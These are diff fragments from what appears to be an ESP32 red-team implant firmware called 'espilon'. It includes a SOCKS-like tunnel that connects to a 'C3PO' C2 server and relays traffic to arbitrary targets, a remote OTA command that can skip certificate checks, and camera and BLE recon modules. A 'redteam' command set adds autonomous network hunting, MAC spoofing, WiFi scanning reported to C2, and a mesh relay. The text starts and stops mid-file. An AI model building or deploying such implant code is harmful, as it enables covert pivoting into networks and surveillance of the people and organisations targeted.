ch->bytes_rx = 0;
/* Send OPEN_OK */
tun_send_frame(chan_id, TUN_FRAME_OPEN_OK, NULL, 0);
ESP_LOGI(TAG, "chan %u opened -> %s:%u", chan_id, ip_str, port);
}
static void tun_handle_data(uint16_t chan_id, const uint8_t *data, uint16_t len)
{
tun_channel_t *ch = chan_get(chan_id);
if (!ch || ch->state != CHAN_OPEN || ch->sock < 0) return;
/* Temporarily set blocking for reliable send */
int flags = fcntl(ch->sock, F_GETFL, 0);
fcntl(ch->sock, F_SETFL, flags & ~O_NONBLOCK);
struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };
setsockopt(ch->sock, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
const uint8_t *p = data;
size_t remaining = len;
while (remaining > 0) {
int sent = send(ch->sock, p, remaining, 0);
if (sent <= 0) {
ESP_LOGW(TAG, "chan %u send error", chan_id);
chan_close(chan_id, TUN_CLOSE_RESET);
return;
}
p += sent;
remaining -= sent;
}
ch->bytes_tx += len;
/* Restore non-blocking */
fcntl(ch->sock, F_SETFL, flags);
}
static void tun_handle_close(uint16_t chan_id)
{
tun_channel_t *ch = chan_get(chan_id);
if (!ch || ch->state == CHAN_FREE) return;
if (ch->sock >= 0) {
close(ch->sock);
ch->sock = -1;
}
ESP_LOGI(TAG, "chan %u closed by C3PO (tx=%"PRIu32" rx=%"PRIu32")",
chan_id, ch->bytes_tx, ch->bytes_rx);
ch->state = CHAN_FREE;
ch->bytes_tx = 0;
ch->bytes_rx = 0;
}
static void tun_handle_ping(const uint8_t *data, uint16_t len)
{
/* Echo back as PONG on channel 0 (control) */
tun_send_frame(0, TUN_FRAME_PONG, data, len);
}
/* ============================================================
* Authentication
* ============================================================ */
static bool tun_authenticate(int sock)
{
/*
* Send: magic[4] + flags[1] + device_id_len[1] + device_id[N]
* + encrypted("espilon-tunnel-v1")
*
* Encrypted token = nonce[12] + ciphertext[17] + tag[16] = 45 bytes
* C3PO verifies by decrypting with the device's derived key.
*/
const char *dev_id = CONFIG_DEVICE_ID;
size_t id_len = strlen(dev_id);
/* Encrypt auth token */
uint8_t enc_token[TUN_AUTH_TOKEN_LEN + TUN_CRYPTO_OVERHEAD];
int enc_len = crypto_encrypt(
(const uint8_t *)TUN_AUTH_TOKEN, TUN_AUTH_TOKEN_LEN,
enc_token, sizeof(enc_token)
);
if (enc_len < 0) {
ESP_LOGE(TAG, "auth token encrypt failed");
return false;
}
/* Build handshake: magic + flags + id_len + id + encrypted_token */
uint8_t flags = 0;
#ifdef CONFIG_TUNNEL_ENCRYPT
flags |= 0x01; /* Request AEAD mode */
#endif
size_t total = TUN_MAGIC_LEN + 1 + 1 + id_len + enc_len;
uint8_t *pkt = malloc(total);
if (!pkt) return false;
size_t off = 0;
memcpy(pkt + off, TUN_MAGIC, TUN_MAGIC_LEN); off += TUN_MAGIC_LEN;
pkt[off++] = flags;
pkt[off++] = (uint8_t)id_len;
memcpy(pkt + off, dev_id, id_len); off += id_len;
memcpy(pkt + off, enc_token, enc_len);
bool ok = send_all(sock, pkt, total);
free(pkt);
if (!ok) {
ESP_LOGE(TAG, "auth handshake send failed");
return false;
}
/* Wait for response: 1 byte (0x00 = OK, 0x01 = FAILED) */
uint8_t resp;
if (recv_exact(sock, &resp, 1, TUN_CONNECT_TIMEOUT_S) < 0) {
ESP_LOGE(TAG, "auth response timeout");
return false;
}
if (resp != 0x00) {
ESP_LOGE(TAG, "auth rejected (0x%02x)", resp);
return false;
}
ESP_LOGI(TAG, "authenticated (flags=0x%02x)", flags);
return true;
}
/* ============================================================
* Main select() loop
* ============================================================ */
static void tun_dispatch_frames(void)
{
uint16_t chan_id;
tun_frame_type_t type;
uint8_t frame_data[TUN_FRAME_MAX_DATA];
uint16_t frame_len;
while (true) {
int rc = tun_read_frame(&chan_id, &type, frame_data, &frame_len);
if (rc == 1) break; /* Incomplete frame, need more data */
if (rc == -1) {
ESP_LOGW(TAG, "bad frame, skipping");
continue;
}
switch (type) {
case TUN_FRAME_OPEN:
tun_handle_open(chan_id, frame_data, frame_len);
break;
case TUN_FRAME_DATA:
tun_handle_data(chan_id, frame_data, frame_len);
break;
case TUN_FRAME_CLOSE:
tun_handle_close(chan_id);
break;
case TUN_FRAME_PING:
tun_handle_ping(frame_data, frame_len);
break;
case TUN_FRAME_PONG:
/* Received pong, tunnel is alive - nothing to do */
break;
default:
ESP_LOGW(TAG, "unknown frame type 0x%02x", type);
break;
}
}
}
/* Connect + authenticate to C3PO tunnel server. Returns socket or -1. */
static int tun_connect_and_auth(void)
{
struct sockaddr_in server = {
.sin_family = AF_INET,
.sin_port = htons(g_tun.c3po_port),
.sin_addr.s_addr = inet_addr(g_tun.c3po_ip),
};
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (s < 0) return -1;
struct timeval tv = { .tv_sec = TUN_CONNECT_TIMEOUT_S, .tv_usec = 0 };
setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
if (connect(s, (struct sockaddr *)&server, sizeof(server)) != 0) {
close(s);
return -1;
}
if (!tun_authenticate(s)) {
close(s);
return -1;
}
return s;
}
/* Run the select() loop until C3PO connection drops or tun_stop() called. */
static void tun_select_loop(void)
{
uint8_t data_buf[TUN_FRAME_MAX_DATA];
g_tun.last_ping_tick = xTaskGetTickCount();
while (g_tun.running) {
fd_set read_fds;
FD_ZERO(&read_fds);
int max_fd = g_tun.c3po_sock;
FD_SET(g_tun.c3po_sock, &read_fds);
/* Add all open channel sockets */
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
tun_channel_t *ch = chan_get(i);
if (ch && ch->state == CHAN_OPEN && ch->sock >= 0) {
FD_SET(ch->sock, &read_fds);
if (ch->sock > max_fd) max_fd = ch->sock;
}
}
struct timeval tv = {
.tv_sec = 0,
.tv_usec = TUN_SELECT_TIMEOUT_MS * 1000,
};
int ready = select(max_fd + 1, &read_fds, NULL, NULL, &tv);
if (ready < 0) {
if (errno == EINTR) continue;
ESP_LOGE(TAG, "select() error: %s", strerror(errno));
break;
}
/* Read from C3PO tunnel socket */
if (ready > 0 && FD_ISSET(g_tun.c3po_sock, &read_fds)) {
size_t space = sizeof(g_tun.rx_buf) - g_tun.rx_buf_len;
if (space > 0) {
int n = recv(g_tun.c3po_sock,
g_tun.rx_buf + g_tun.rx_buf_len,
space, 0);
if (n <= 0) {
ESP_LOGW(TAG, "C3PO connection lost");
return; /* Break to reconnect loop */
}
g_tun.rx_buf_len += n;
}
tun_dispatch_frames();
}
/* Read from channel sockets, forward to C3PO */
if (ready > 0) {
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
tun_channel_t *ch = chan_get(i);
if (!ch || ch->state != CHAN_OPEN || ch->sock < 0) continue;
if (!FD_ISSET(ch->sock, &read_fds)) continue;
int n = recv(ch->sock, data_buf, sizeof(data_buf), 0);
if (n > 0) {
ch->bytes_rx += n;
if (!tun_send_frame(i, TUN_FRAME_DATA, data_buf, (uint16_t)n)) {
ESP_LOGW(TAG, "C3PO send failed");
return; /* Break to reconnect loop */
}
} else if (n == 0) {
/* Target closed connection */
chan_close(i, TUN_CLOSE_NORMAL);
} else {
if (errno != EAGAIN && errno != EWOULDBLOCK) {
chan_close(i, TUN_CLOSE_RESET);
}
}
}
}
/* Periodic PING keepalive */
uint32_t now = xTaskGetTickCount();
if ((now - g_tun.last_ping_tick) >=
pdMS_TO_TICKS(TUN_PING_INTERVAL_S * 1000)) {
uint32_t ts = (uint32_t)(now / portTICK_PERIOD_MS);
uint8_t ts_buf[4];
ts_buf[0] = (ts >> 24) & 0xFF;
ts_buf[1] = (ts >> 16) & 0xFF;
ts_buf[2] = (ts >> 8) & 0xFF;
ts_buf[3] = ts & 0xFF;
tun_send_frame(0, TUN_FRAME_PING, ts_buf, 4);
g_tun.last_ping_tick = now;
}
}
}
static void tun_task(void *arg)
{
const char *req_id = (const char *)arg;
msg_info(TAG, "tunnel connected", req_id);
uint32_t backoff_ms = TUN_RECONNECT_MIN_MS;
/* Outer reconnect loop */
while (g_tun.running) {
/* Run until connection drops or tun_stop() */
tun_select_loop();
/* Cleanup after disconnect */
chan_close_all();
if (g_tun.c3po_sock >= 0) {
close(g_tun.c3po_sock);
g_tun.c3po_sock = -1;
}
g_tun.rx_buf_len = 0;
/* If stopped intentionally, exit */
if (!g_tun.running) break;
/* Reconnect with exponential backoff */
ESP_LOGW(TAG, "reconnecting in %"PRIu32"ms...", backoff_ms);
vTaskDelay(pdMS_TO_TICKS(backoff_ms));
if (!g_tun.running) break;
int s = tun_connect_and_auth();
if (s >= 0) {
g_tun.c3po_sock = s;
g_tun.rx_buf_len = 0;
memset(g_tun.channels, 0, sizeof(g_tun.channels));
for (int i = 0; i < TUN_MAX_CHANNELS; i++)
g_tun.channels[i].sock = -1;
backoff_ms = TUN_RECONNECT_MIN_MS; /* Reset on success */
ESP_LOGI(TAG, "tunnel reconnected");
} else {
/* Exponential backoff: double, cap at max */
backoff_ms *= 2;
if (backoff_ms > TUN_RECONNECT_MAX_MS)
backoff_ms = TUN_RECONNECT_MAX_MS;
ESP_LOGW(TAG, "reconnect failed, next attempt in %"PRIu32"ms",
backoff_ms);
}
}
/* Final cleanup */
chan_close_all();
if (g_tun.c3po_sock >= 0) {
close(g_tun.c3po_sock);
g_tun.c3po_sock = -1;
}
g_tun.running = false;
g_tun.rx_buf_len = 0;
msg_info(TAG, "tunnel stopped", req_id);
/* Free heap-allocated request_id */
if (req_id) free((void *)req_id);
g_tun.task_handle = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
bool tun_start(const char *c3po_ip, int c3po_port, const char *req_id)
{
if (g_tun.running) return false;
/* Store address for reconnect */
snprintf(g_tun.c3po_ip, sizeof(g_tun.c3po_ip), "%s", c3po_ip);
g_tun.c3po_port = c3po_port;
/* Initial connection with retry loop */
int s = -1;
for (int retry = 0; retry < TUN_MAX_RETRY; retry++) {
ESP_LOGI(TAG, "connecting to %s:%d (attempt %d)...",
c3po_ip, c3po_port, retry + 1);
s = tun_connect_and_auth();
if (s >= 0) break;
vTaskDelay(pdMS_TO_TICKS(TUN_RETRY_DELAY_MS));
}
if (s < 0) {
msg_error(TAG, "unable to connect to tunnel server", req_id);
return false;
}
/* Initialize state */
g_tun.c3po_sock = s;
g_tun.rx_buf_len = 0;
g_tun.running = true;
#ifdef CONFIG_TUNNEL_ENCRYPT
g_tun.encrypted = true;
#else
g_tun.encrypted = false;
#endif
memset(g_tun.channels, 0, sizeof(g_tun.channels));
for (int i = 0; i < TUN_MAX_CHANNELS; i++) {
g_tun.channels[i].sock = -1;
}
/* Heap-copy request_id for the task (freed inside tun_task) */
char *req_copy = req_id ? strdup(req_id) : NULL;
xTaskCreatePinnedToCore(
tun_task,
"tun_task",
CONFIG_TUNNEL_TASK_STACK,
req_copy,
5,
&g_tun.task_handle,
1 /* Core 1 */
);
return true;
}
void tun_stop(void)
{
g_tun.running = false;
/* Task will exit on next select() timeout and clean up */
}
bool tun_is_running(void)
{
return g_tun.running;
}
void tun_get_status(char *buf, size_t buf_len)
{
if (!g_tun.running) {
snprintf(buf, buf_len, "tunnel=stopped");
return;
}
int open_chans = 0;
uint32_t total_tx = 0, total_rx = 0;
for (int i = 0; i < TUN_MAX_CHANNELS; i++) {
if (g_tun.channels[i].state == CHAN_OPEN) {
open_chans++;
total_tx += g_tun.channels[i].bytes_tx;
total_rx += g_tun.channels[i].bytes_rx;
}
}
snprintf(buf, buf_len,
"tunnel=running channels=%d/%d tx=%"PRIu32" rx=%"PRIu32" enc=%s",
open_chans, TUN_MAX_CHANNELS,
total_tx, total_rx,
g_tun.encrypted ? "aead" : "plain");
}

View File

@ -0,0 +1,126 @@
#pragma once
#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>
#include "sdkconfig.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
/* ============================================================
* Tuneable constants (Kconfig overrides)
* ============================================================ */
#ifndef CONFIG_TUNNEL_MAX_CHANNELS
#define CONFIG_TUNNEL_MAX_CHANNELS 8
#endif
#ifndef CONFIG_TUNNEL_FRAME_MAX
#define CONFIG_TUNNEL_FRAME_MAX 4096
#endif
#ifndef CONFIG_TUNNEL_TASK_STACK
#define CONFIG_TUNNEL_TASK_STACK 6144
#endif
/* ============================================================
* Protocol constants
* ============================================================ */
#define TUN_MAX_CHANNELS CONFIG_TUNNEL_MAX_CHANNELS
#define TUN_FRAME_MAX_DATA CONFIG_TUNNEL_FRAME_MAX
#define TUN_FRAME_HDR_SIZE 5 /* chan_id(2) + type(1) + length(2) */
#define TUN_FRAME_MAX_PLAIN (TUN_FRAME_HDR_SIZE + TUN_FRAME_MAX_DATA)
/* Crypto overhead: nonce(12) + tag(16) */
#define TUN_CRYPTO_NONCE_LEN 12
#define TUN_CRYPTO_TAG_LEN 16
#define TUN_CRYPTO_OVERHEAD (TUN_CRYPTO_NONCE_LEN + TUN_CRYPTO_TAG_LEN)
/* Encrypted frame: 2-byte length prefix + nonce + encrypted(header+data) + tag */
#define TUN_FRAME_MAX_ENC (2 + TUN_FRAME_MAX_PLAIN + TUN_CRYPTO_OVERHEAD)
/* RX buffer must hold the largest possible frame */
#define TUN_RX_BUF_SIZE TUN_FRAME_MAX_ENC
/* Timeouts & limits */
#define TUN_CONNECT_TIMEOUT_S 5
#define TUN_SELECT_TIMEOUT_MS 100
#define TUN_MAX_RETRY 10
#define TUN_RETRY_DELAY_MS 5000
#define TUN_PING_INTERVAL_S 30
#define TUN_OPEN_TIMEOUT_S 10
/* Reconnect backoff (exponential: min -> min*2 -> ... -> max) */
#define TUN_RECONNECT_MIN_MS 1000
#define TUN_RECONNECT_MAX_MS 30000
/* Authentication */
#define TUN_MAGIC "TUN\x01"
#define TUN_MAGIC_LEN 4
#define TUN_AUTH_TOKEN "espilon-tunnel-v1"
#define TUN_AUTH_TOKEN_LEN 17
/* ============================================================
* Frame types
* ============================================================ */
typedef enum {
TUN_FRAME_OPEN = 0x01,
TUN_FRAME_OPEN_OK = 0x02,
TUN_FRAME_DATA = 0x03,
TUN_FRAME_CLOSE = 0x04,
TUN_FRAME_ERROR = 0x05,
TUN_FRAME_PING = 0x06,
TUN_FRAME_PONG = 0x07,
} tun_frame_type_t;
/* Close reasons */
#define TUN_CLOSE_NORMAL 0
#define TUN_CLOSE_RESET 1
#define TUN_CLOSE_TIMEOUT 2
/* ============================================================
* Channel state
* ============================================================ */
typedef enum {
CHAN_FREE = 0,
CHAN_CONNECTING,
CHAN_OPEN,
CHAN_CLOSING,
} tun_chan_state_t;
typedef struct {
tun_chan_state_t state;
int sock; /* Target-side TCP socket, -1 if free */
uint32_t bytes_tx;
uint32_t bytes_rx;
} tun_channel_t;
/* ============================================================
* Global tunnel state
* ============================================================ */
typedef struct {
volatile bool running;
bool encrypted; /* Per-frame AEAD mode */
int c3po_sock; /* Socket to C3PO tunnel server */
tun_channel_t channels[TUN_MAX_CHANNELS];
uint8_t rx_buf[TUN_RX_BUF_SIZE];
size_t rx_buf_len; /* Bytes buffered (partial frame) */
TaskHandle_t task_handle;
uint32_t last_ping_tick; /* For keepalive */
char c3po_ip[48]; /* Stored for reconnect */
int c3po_port; /* Stored for reconnect */
} tun_state_t;
/* ============================================================
* Public API
* ============================================================ */
bool tun_start(const char *c3po_ip, int c3po_port, const char *req_id);
void tun_stop(void);
bool tun_is_running(void);
void tun_get_status(char *buf, size_t buf_len);

View File

@ -0,0 +1,5 @@
idf_component_register(
SRCS cmd_ota.c
INCLUDE_DIRS .
REQUIRES core esp_https_ota app_update esp_http_client mbedtls
)

View File

@ -0,0 +1,159 @@
/*
* cmd_ota.c
* OTA firmware update commands (HTTPS + cert bundle)
* Compiled as empty when CONFIG_ESPILON_OTA_ENABLED is not set.
*/
#include "sdkconfig.h"
#ifdef CONFIG_ESPILON_OTA_ENABLED
#include <stdio.h>
#include <string.h>
#include "esp_log.h"
#include "esp_system.h"
#include "esp_ota_ops.h"
#include "esp_https_ota.h"
#include "esp_http_client.h"
#include "esp_crt_bundle.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "utils.h"
#define TAG "OTA"
/* ============================================================
* COMMAND: ota_update <url> (async)
* ============================================================ */
static esp_err_t cmd_ota_update(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)ctx;
const char *url = argv[0];
char buf[256];
snprintf(buf, sizeof(buf), "url=%s", url);
msg_info(TAG, buf, req);
esp_http_client_config_t http_config = {
.url = url,
#ifdef CONFIG_ESPILON_OTA_ALLOW_HTTP
.skip_cert_common_name_check = true,
#else
.crt_bundle_attach = esp_crt_bundle_attach,
#endif
.timeout_ms = 30000,
.keep_alive_enable = true,
};
esp_https_ota_config_t ota_config = {
.http_config = &http_config,
};
esp_https_ota_handle_t ota_handle = NULL;
esp_err_t err = esp_https_ota_begin(&ota_config, &ota_handle);
if (err != ESP_OK) {
snprintf(buf, sizeof(buf), "begin_failed=%s", esp_err_to_name(err));
msg_error(TAG, buf, req);
return err;
}
int total_size = esp_https_ota_get_image_size(ota_handle);
int last_pct = -1;
while (1) {
err = esp_https_ota_perform(ota_handle);
if (err != ESP_ERR_HTTPS_OTA_IN_PROGRESS) break;
if (total_size > 0) {
int bytes_read = esp_https_ota_get_image_len_read(ota_handle);
int pct = (bytes_read * 100) / total_size;
if (pct / 10 != last_pct / 10) {
last_pct = pct;
snprintf(buf, sizeof(buf), "progress=%d%%", pct);
msg_info(TAG, buf, req);
}
}
}
if (err != ESP_OK) {
snprintf(buf, sizeof(buf), "download_failed=%s", esp_err_to_name(err));
msg_error(TAG, buf, req);
esp_https_ota_abort(ota_handle);
return err;
}
err = esp_https_ota_finish(ota_handle);
if (err != ESP_OK) {
if (err == ESP_ERR_OTA_VALIDATE_FAILED) {
msg_error(TAG, "validate_failed=image_corrupted", req);
} else {
snprintf(buf, sizeof(buf), "finish_failed=%s", esp_err_to_name(err));
msg_error(TAG, buf, req);
}
return err;
}
msg_info(TAG, "status=success rebooting=true", req);
vTaskDelay(pdMS_TO_TICKS(500));
esp_restart();
return ESP_OK;
}
/* ============================================================
* COMMAND: ota_status
* ============================================================ */
static esp_err_t cmd_ota_status(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
const esp_partition_t *running = esp_ota_get_running_partition();
const esp_partition_t *boot = esp_ota_get_boot_partition();
esp_app_desc_t app_desc;
esp_ota_get_partition_description(running, &app_desc);
char buf[256];
snprintf(buf, sizeof(buf),
"partition=%s boot=%s version=%s idf=%s",
running ? running->label : "?",
boot ? boot->label : "?",
app_desc.version,
app_desc.idf_ver
);
msg_info(TAG, buf, req);
return ESP_OK;
}
/* ============================================================
* COMMAND REGISTRATION
* ============================================================ */
static const command_t ota_cmds[] = {
{ "ota_update", NULL, "OTA update from HTTPS URL", 1, 1, cmd_ota_update, NULL, true },
{ "ota_status", NULL, "Current firmware info", 0, 0, cmd_ota_status, NULL, false },
};
void mod_ota_register_commands(void)
{
ESPILON_LOGI_PURPLE(TAG, "Registering OTA commands");
for (size_t i = 0; i < sizeof(ota_cmds) / sizeof(ota_cmds[0]); i++) {
command_register(&ota_cmds[i]);
}
}
#endif /* CONFIG_ESPILON_OTA_ENABLED */

View File

@ -0,0 +1,3 @@
#pragma once
void mod_ota_register_commands(void);

View File

@ -1,13 +1,36 @@
idf_component_register(
SRCS
"mod_cam.c"
# "mod_trilat.c" # Disabled for now - needs BT config
INCLUDE_DIRS
"."
REQUIRES
command
esp_wifi
nvs_flash
esp_http_client
espressif__esp32-camera
)
set(RECON_SRCS "")
if(CONFIG_RECON_MODE_CAMERA)
list(APPEND RECON_SRCS "mod_cam.c")
endif()
if(CONFIG_RECON_MODE_MLAT)
list(APPEND RECON_SRCS "mod_mlat.c")
endif()
# mod_trilat.c: legacy BLE trilateration (requires full BT stack)
# Uncomment if needed with CONFIG_BT_ENABLED=y
# list(APPEND RECON_SRCS "mod_trilat.c")
if(NOT RECON_SRCS)
# No active recon sub-modules register as header-only component
idf_component_register(
INCLUDE_DIRS "."
)
else()
set(RECON_REQUIRES core esp_wifi nvs_flash)
if(CONFIG_RECON_MODE_CAMERA)
list(APPEND RECON_REQUIRES esp_http_client espressif__esp32-camera)
endif()
if(CONFIG_RECON_MODE_MLAT)
list(APPEND RECON_REQUIRES esp_timer)
endif()
idf_component_register(
SRCS ${RECON_SRCS}
INCLUDE_DIRS "."
REQUIRES ${RECON_REQUIRES}
)
endif()

View File

@ -16,7 +16,7 @@
#include <errno.h>
#include <ctype.h>
#include "command.h"
#include "esp_heap_caps.h"
#include "utils.h"
/* ============================================================
@ -84,11 +84,20 @@ static bool init_camera(void)
.pixel_format = PIXFORMAT_JPEG,
.frame_size = FRAMESIZE_QQVGA,
.jpeg_quality = 20,
.fb_count = 2,
.fb_location = CAMERA_FB_IN_PSRAM,
.fb_count = 1,
.fb_location = CAMERA_FB_IN_DRAM,
.grab_mode = CAMERA_GRAB_LATEST
};
/* Use PSRAM if available (requires bootloader with SPIRAM support) */
if (heap_caps_get_total_size(MALLOC_CAP_SPIRAM) > 0) {
cfg.fb_location = CAMERA_FB_IN_PSRAM;
cfg.fb_count = 2;
ESP_LOGI(TAG, "PSRAM available, using 2 frame buffers");
} else {
ESP_LOGW(TAG, "No PSRAM, using DRAM with 1 frame buffer");
}
if (esp_camera_init(&cfg) != ESP_OK) {
msg_error(TAG, "camera init failed", NULL);
return false;
@ -125,9 +134,8 @@ static void udp_stream_task(void *arg)
frame_count++;
size_t num_chunks = (fb->len + MAX_UDP_SIZE - 1) / MAX_UDP_SIZE;
/* DEBUG: Log frame info every 10 frames */
if (frame_count % 10 == 1) {
ESP_LOGI(TAG, "frame #%lu: %u bytes, %u chunks, sock=%d",
ESP_LOGD(TAG, "frame #%lu: %u bytes, %u chunks, sock=%d",
frame_count, fb->len, num_chunks, udp_sock);
}

View File

@ -45,7 +45,6 @@
#include "esp_wifi.h"
#include "esp_event.h"
#include "command.h"
#include "utils.h"
#if defined(CONFIG_RECON_MODE_MLAT)

View File

@ -17,7 +17,6 @@
#include "esp_http_client.h"
#include "command.h"
#include "utils.h"
/* ============================================================
@ -186,7 +185,7 @@ static void ble_init(void)
* ============================================================ */
static esp_err_t cmd_trilat_start(int argc, char **argv, const char *request_id, void *ctx)
{
if (argc != 4)
if (argc != 3)
return msg_error(TAG, "usage: trilat start <mac> <url> <bearer>", request_id);
if (trilat_running)
@ -194,11 +193,11 @@ static esp_err_t cmd_trilat_start(int argc, char **argv, const char *request_id,
ESP_ERROR_CHECK(nvs_flash_init());
if (!parse_mac_str(argv[1], target_mac))
if (!parse_mac_str(argv[0], target_mac))
return msg_error(TAG, "invalid MAC", request_id);
strncpy(target_url, argv[2], MAX_LEN-1);
strncpy(auth_bearer, argv[3], MAX_LEN-1);
strncpy(target_url, argv[1], MAX_LEN-1);
strncpy(auth_bearer, argv[2], MAX_LEN-1);
snprintf(auth_header, sizeof(auth_header), "Bearer %s", auth_bearer);
if (!buffer_mutex)
@ -238,8 +237,8 @@ static const command_t cmd_trilat_start_def = {
.handler = cmd_trilat_start,
.ctx = NULL,
.async = false,
.min_args = 4,
.max_args = 4
.min_args = 3,
.max_args = 3
};
static const command_t cmd_trilat_stop_def = {
@ -249,8 +248,8 @@ static const command_t cmd_trilat_stop_def = {
.handler = cmd_trilat_stop,
.ctx = NULL,
.async = false,
.min_args = 2,
.max_args = 2
.min_args = 0,
.max_args = 0
};
void mod_ble_trilat_register_commands(void)

View File

@ -0,0 +1,5 @@
idf_component_register(
SRCS cmd_redteam.c rt_config.c rt_hunt.c rt_stealth.c rt_captive.c rt_mesh.c
INCLUDE_DIRS .
REQUIRES core nvs_flash lwip esp_wifi freertos esp_timer
)

View File

@ -0,0 +1,319 @@
/*
* cmd_redteam.c
* Red Team resilient connectivity 7 C2 commands.
*/
#include "sdkconfig.h"
#include "cmd_redteam.h"
#ifdef CONFIG_MODULE_REDTEAM
#include <string.h>
#include <stdio.h>
#include "esp_log.h"
#include "utils.h"
#include "rt_config.h"
#include "rt_hunt.h"
#include "rt_stealth.h"
#include "rt_mesh.h"
#define TAG "RT"
/* ============================================================
* COMMAND: rt_hunt [auto]
* Start the hunt. "auto" = enable auto-trigger on TCP failure.
* ============================================================ */
static int cmd_rt_hunt(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (rt_hunt_is_active()) {
msg_info(TAG, "Hunt already running", req);
return 0;
}
rt_hunt_trigger();
msg_info(TAG, "Hunt started", req);
return 0;
}
/* ============================================================
* COMMAND: rt_stop
* Stop hunt, restore WiFi + MAC + TX power.
* ============================================================ */
static int cmd_rt_stop(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
if (!rt_hunt_is_active()) {
msg_info(TAG, "Hunt not running", req);
return 0;
}
rt_hunt_stop();
msg_info(TAG, "Hunt stopped, WiFi restored", req);
return 0;
}
/* ============================================================
* COMMAND: rt_status
* Report state, SSID, method, MAC, TX power.
* ============================================================ */
static int cmd_rt_status(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
rt_state_t state = rt_hunt_get_state();
uint8_t mac[6];
rt_stealth_get_current_mac(mac);
char buf[256];
snprintf(buf, sizeof(buf),
"state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X"
" nets=%d c2_fb=%d mesh=%s",
rt_hunt_state_name(state),
rt_hunt_connected_ssid(),
rt_hunt_connected_method(),
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5],
rt_config_net_count(),
rt_config_c2_count(),
rt_mesh_is_running() ? "on" : "off");
msg_info(TAG, buf, req);
return 0;
}
/* ============================================================
* COMMAND: rt_scan
* WiFi scan + report results to C2 (recon).
* ============================================================ */
static int cmd_rt_scan(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
msg_info(TAG, "Passive scan starting...", req);
#ifdef CONFIG_RT_STEALTH
int found = rt_stealth_passive_scan(3000);
rt_scan_ap_t aps[RT_MAX_SCAN_APS];
int count = rt_stealth_get_scan_results(aps, RT_MAX_SCAN_APS);
for (int i = 0; i < count; i++) {
char line[128];
snprintf(line, sizeof(line),
"AP: %s ch=%d rssi=%d auth=%d bssid=%02X:%02X:%02X:%02X:%02X:%02X",
aps[i].ssid, aps[i].channel, aps[i].rssi, aps[i].auth_mode,
aps[i].bssid[0], aps[i].bssid[1], aps[i].bssid[2],
aps[i].bssid[3], aps[i].bssid[4], aps[i].bssid[5]);
msg_data(TAG, line, strlen(line), (i == count - 1), req);
}
char summary[64];
snprintf(summary, sizeof(summary), "Scan done: %d APs found", found);
msg_info(TAG, summary, req);
#else
msg_info(TAG, "Stealth not enabled, using active scan", req);
/* TODO: fallback to esp_wifi_scan_start() */
#endif
return 0;
}
/* ============================================================
* COMMAND: rt_net_add <ssid> <pass>
* Add/update a known network. Pass "" to remove.
* ============================================================ */
static int cmd_rt_net_add(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc < 1) {
msg_error(TAG, "usage: rt_net_add <ssid> [pass]", req);
return -1;
}
const char *ssid = argv[0];
const char *pass = (argc >= 2) ? argv[1] : "";
/* Empty string for pass means "remove" */
if (argc >= 2 && strcmp(pass, "\"\"") == 0) {
if (rt_config_net_remove(ssid)) {
char buf[96];
snprintf(buf, sizeof(buf), "Removed network '%s'", ssid);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "Network not found", req);
}
return 0;
}
if (rt_config_net_add(ssid, pass)) {
char buf[96];
snprintf(buf, sizeof(buf), "Added network '%s'", ssid);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "Failed to add network (full?)", req);
}
return 0;
}
/* ============================================================
* COMMAND: rt_net_list
* List known networks.
* ============================================================ */
static int cmd_rt_net_list(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS];
int count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS);
if (count == 0) {
msg_info(TAG, "No known networks", req);
return 0;
}
for (int i = 0; i < count; i++) {
char line[128];
snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s",
i, nets[i].ssid,
nets[i].pass[0] ? "***" : "(open)");
msg_data(TAG, line, strlen(line), (i == count - 1), req);
}
return 0;
}
/* ============================================================
* COMMAND: rt_mesh <start|stop>
* Enable/disable ESP-NOW mesh relay.
* ============================================================ */
static int cmd_rt_mesh(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc < 1) {
msg_error(TAG, "usage: rt_mesh <start|stop>", req);
return -1;
}
#ifdef CONFIG_RT_MESH
if (strcmp(argv[0], "start") == 0) {
if (rt_mesh_is_running()) {
msg_info(TAG, "Mesh already running", req);
} else if (rt_mesh_start()) {
msg_info(TAG, "Mesh relay started", req);
} else {
msg_error(TAG, "Mesh start failed", req);
}
} else if (strcmp(argv[0], "stop") == 0) {
rt_mesh_stop();
msg_info(TAG, "Mesh relay stopped", req);
} else {
msg_error(TAG, "usage: rt_mesh <start|stop>", req);
}
#else
msg_error(TAG, "ESP-NOW mesh not enabled (CONFIG_RT_MESH)", req);
#endif
return 0;
}
/* ============================================================
* Command table
* ============================================================ */
static const command_t rt_cmds[] = {
{
.name = "rt_hunt",
.sub = NULL,
.help = "Start autonomous network hunt",
.min_args = 0,
.max_args = 1,
.handler = (command_handler_t)cmd_rt_hunt,
.ctx = NULL,
.async = true,
},
{
.name = "rt_stop",
.sub = NULL,
.help = "Stop hunt, restore WiFi/MAC/TX",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_stop,
